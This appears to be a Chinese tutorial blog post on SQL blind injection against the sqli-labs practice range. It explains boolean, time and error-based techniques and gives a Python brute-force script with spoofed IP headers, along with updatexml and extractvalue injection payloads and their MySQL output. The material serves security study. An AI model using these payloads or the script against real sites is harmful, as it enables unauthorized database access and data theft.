盲注就是在 sql 注入过程中,sql 语句执行的选择后,由于开发人员的安全操作,并未把明显的错误返回到前端,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
基于布尔 SQL 盲注 正常情况下返回一个界面,非正常情况下返回另一个界面,但是并未把SQL报错的信息显示出来
基于时间的 SQL 盲注 正常和非正常都返回一个界面,只能通过判断返回时间来注入
基于报错的 SQL 盲注 通过一些MySQL的函数,强制让数据库报错并返回
基于布尔 SQL 盲注
这里先得简单介绍几个MySQL中的基础函数,方便下面理解
left()
、mid()
和substr()``left()
我一般只用mid()函数,其余的函数你可以去文章开头这篇文章去看,大佬写的比较详细,函数大概的语法如下
mid()函数
mid(column_name,start[,length]),此函数为截取字符串一部分。
参数:column_name
:必需,要提取字符的字段。
start
:必需,规定开始位置。
length() : 可选,要返回的字符数。如果省略,则mid()
函数返回剩余文本。
这个盲注吧,你总不能真的一个个去试吧??最笨也是最聪明的方法,就是花几分钟,写个python脚本。
下面我们直接找个靶场练习练习
在线靶场:http://43.247.91.228:84 ,我推荐自己下一个sql靶场,网上有很多源码和安装教程,十几分钟就可以弄好。
第五关就是布尔盲注,我这里先简单试了试,就直接写了个py拿脚本跑了,下面附上代码。先查看数据库的总体长度,在一个个爆破
import requests
import random
def random_headers():#生成随机headers
user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
UA = random.choice(user_agent)
a = str(random.randint(1, 255))
b = str(random.randint(1, 255))
c = str(random.randint(1, 255))
random_XFF = '127.' + a + '.' + b + '.' + c
random_CI= '127.' + c + '.' + a + '.' + b
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': UA,
'X-Forwarded-For': random_XFF,
'Client-IP':random_CI,
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
"Referer": "http://www.baidu.com/",
'Content-Type': 'application/x-www-form-urlencoded'}
return headers
for len in range(100):
urll = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20%20 length(database())='+str(len)+'--+'
r = requests.get(url=urll, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(len)
break
x=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
for ii in range(8):
ii=ii+1
# print(ii)
for i in range(26):
url = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20mid(database(),'+str(ii)+',1)=%27' + x[i] + '%27%20--+'
# print(url)
r = requests.get(url=url, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(x[i])
continue
基于报错的盲注
基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有floor()
报错、exp()
报错、updatexml()
报错
exp
报错:根本不建议使用,对版本要求太高
select exp(~(select * FROM(SELECT USER())a));
用法介绍:updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值
需要注意的是XPATH语法报错的是那些特殊字符,遇到特殊字符会报错,所以选择了ascii码为0x7e
的字符~
另外,updatexml
最多只能显示32位,需要配合SUBSTR
或者reserve
使用
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~'
//假设数据库名过长看,使用substr()
mysql> select updatexml(1,concat(0x7e,(substr((select database()),1,5)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'
mysql> select updatexml(1,concat(0x7e,(substr((select database()),5,12)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~rity~'
//报错表内数据名
mysql> select updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'
在注入时的用法
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)
extractvalue
报错:同updatexml
一样,限制长度也是32位
用法介绍:EXTRACTVALUE(XML_document, XPath_string);
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。 EXTRACTVALUE (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) concat:返回结果为连接参数产生的字符串。 0x7e:ASCII码,实为~,extractvalue()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,
mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~security~'
mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema~'
mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~8cmsdata~'
在注入时的用法
1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))
贴出各个报错注入可以实现的各个版本要求
手机扫一扫
移动阅读更方便
你可能感兴趣的文章